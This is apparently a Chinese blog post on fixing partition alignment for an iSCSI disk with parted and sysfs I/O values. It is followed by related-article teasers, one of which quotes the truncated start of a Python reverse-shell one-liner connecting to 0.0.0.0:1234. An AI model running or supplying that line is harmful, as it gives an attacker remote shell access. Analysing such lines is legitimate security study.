問題說明:the resulting partition is not properly aligned for best performance.
1.問題
掛載的iscsi磁碟無法分割槽對齊
the resulting partition is not properly aligned for best performance.
截圖如下:
2.經查資料,大部分網友和論壇建議使用如下方法
使用計算的方法
# cat /sys/block/sdb/queue/optimal_io_size
1048576
# cat /sys/block/sdb/queue/minimum_io_size
262144
# cat /sys/block/sdb/alignment_offset
0 # cat /sys/block/sdb/queue/physical_block_size
512
開始扇區大小等於=(alignment_offset+optimal_io_size)/512
(1048576 + 0) / 512 = 2048
可用命令分割槽mkpart 1 ext4 2048s 100%
我查到的alignment_offset=0,optimal_io_siz=0
故使用命令mkpart 1 ext4 0s 100%
試過無效(主要原因可能是因為我查到的數值為0)。
3.後搜到乙個外文資料,附上鏈結
內容提到,如果上述方法不生效,且optimal_io_size=0,那個可以採用0%來自動獲取最佳分割槽效果。
改使用命令mkpart 1 ext4 0% 100%
檢視對其效果
align-check optimal 1
1 aligned(顯示已對齊)
完美完成!
後iscsi測試也一切正常。
記一次Linux修改MySQL配置不生效的問題
背景過程 在 stackoverflow上的高票回答很簡單,修改只需要三步就可以完成 etc my.cnf 找到配置檔案 port 3306 修改內容 sudo service mysql restart 重啟mysql 但實時並沒有那麼簡單,以上答案可能對舊版本管用,但是新版本你在 etc my....
記一次mysql不走索引的問題定位
問題 sql為三表關聯,關聯的字段上都加上了唯一索引,查詢時卻不走索引導致sql執行超時。檢視explain都走的all全表掃瞄。基於上述定位 為什麼沒走索引呢?進行多表關聯查詢時,要滿足 1 表關聯使用的條件欄位中字段的長度是否是一致的 2 兩表關聯使用的條件欄位中字段的編碼是否是一致的 以上兩個...
記一次對python反彈shell的分析
昨天學習了 shell,對python彈shell產生了一些疑惑 python c import socket,subprocess,os s socket.socket socket.af inet,socket.sock stream s.connect 0.0.0.0 1234 os.dup2...